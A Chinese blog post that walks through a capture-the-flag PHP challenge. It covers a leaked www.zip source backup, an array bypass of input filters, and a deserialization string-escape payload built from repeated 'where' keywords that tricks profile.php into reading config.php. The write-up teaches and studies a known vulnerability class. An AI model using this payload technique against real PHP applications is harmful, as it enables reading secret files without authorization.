https://blog.csdn.net/zz_Caleb/article/details/96777110
前提知识:
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) = null
preg_match(pattern,Array()) = false
strcmp(Array(), "abc") = null
strpos(Array(),"abc") = null
strlen(Array()) = null
看到这样的界面,肯定是先看源码
两个js和一个css文件,几千行,看起来不是什么有用信息,尝试登录,无用
发现登录跳转到index.php尝试看看有没有源码泄露,先尝试了vim文件的.swp;没反应,看来别的wp才知道是www.zip
下载下来之后才发现有一个注册php,进去注册了一个admin,登录之后跳到上传界面:
随便上传一个,访问:
查看源码:
得到一串base64加密数字:
解密出来是我文件的内容
打开www.zip大致看了一下,发现上传文件路径被md5加密,访问md5加密的网址又跳回原网址,没用;
再继续审计源码:
发现flag在config.php里面,所以现在的目标是打开conifg.php
而在profile.php里面:
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);//profile=show_profile(username)
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);//将profile反序列化
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
可以看见file_get_contents函数,我们通过各种途径打开config.php后返回的信息通过base64加密在图片信息里面,就和之前我们上传图片查看源码时那一堆base64加密一样;
查看update.php的源码:
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));//移到md5加密的地方去
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));//
echo 'Update Profile Success!Your Profile';
}
else {
?>
可以看见它上传的时候nickname存在过滤,
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
但这两个都可以使用数组绕过
而在class.php里面:
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
我们输入的select,insert,update,where都会被转化成hacker;
看到反序列函数大概也想得到是用反序列化,但是这里确实是需要学习和积累的地方了:
php反序列化长度变化尾部字符串逃逸
首先知道序列化:
a:2:{s:4:"tool";s:4:"tool";s:3:"hhh";s:5:"ifeel";}
反序列化之后:
Array{
[tool]=>tool
[hhh]=>ifeel
}
但如果字符串的反序列数目与实际数目不等的时候,例如:
a:2:{s:4:"tool";s:4:"tooler";s:3:"hhh";s:5:"ifeel";}
这个时候反序列化时tool->tool,但是tooler后面的er逃逸了出来
这就是反序列时的字符逃逸,字符逃逸的前提是:字符串的序列化数量和实际数量不一致
在这里where会被转化为hacker,where是五个字节,hacker是六个字节
如果我们传入的字符串反序列数目是where被替换为hacker之后的总数目,那么我们传入的where后面的关键字就会发挥作用
payload如下:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
其中";}是为了和前面的{"闭合,使得后面的s:5:"photo";s:10:"config.php";}
发挥作用;
原理如下:
$profile = a:4:{s:5:"phone";s:11:"1231231231";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:"被替换成hacker之后的总长度:"即将被替换成hacker的where部分"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
这是序列化的profile,可以看见nickname成为数组之后,多了一个{和"
所以我们要将这两个进行闭合,然后让payload最后的;}与最前面的{进行闭合,这样后面的s:39:“upload/804f743824c0451b2f60d81b63b6a900”;}因为没有被闭合,导致它发生不了作用;
因此可以直接读取config.php
放包之后查看源码进行base64即可得到flag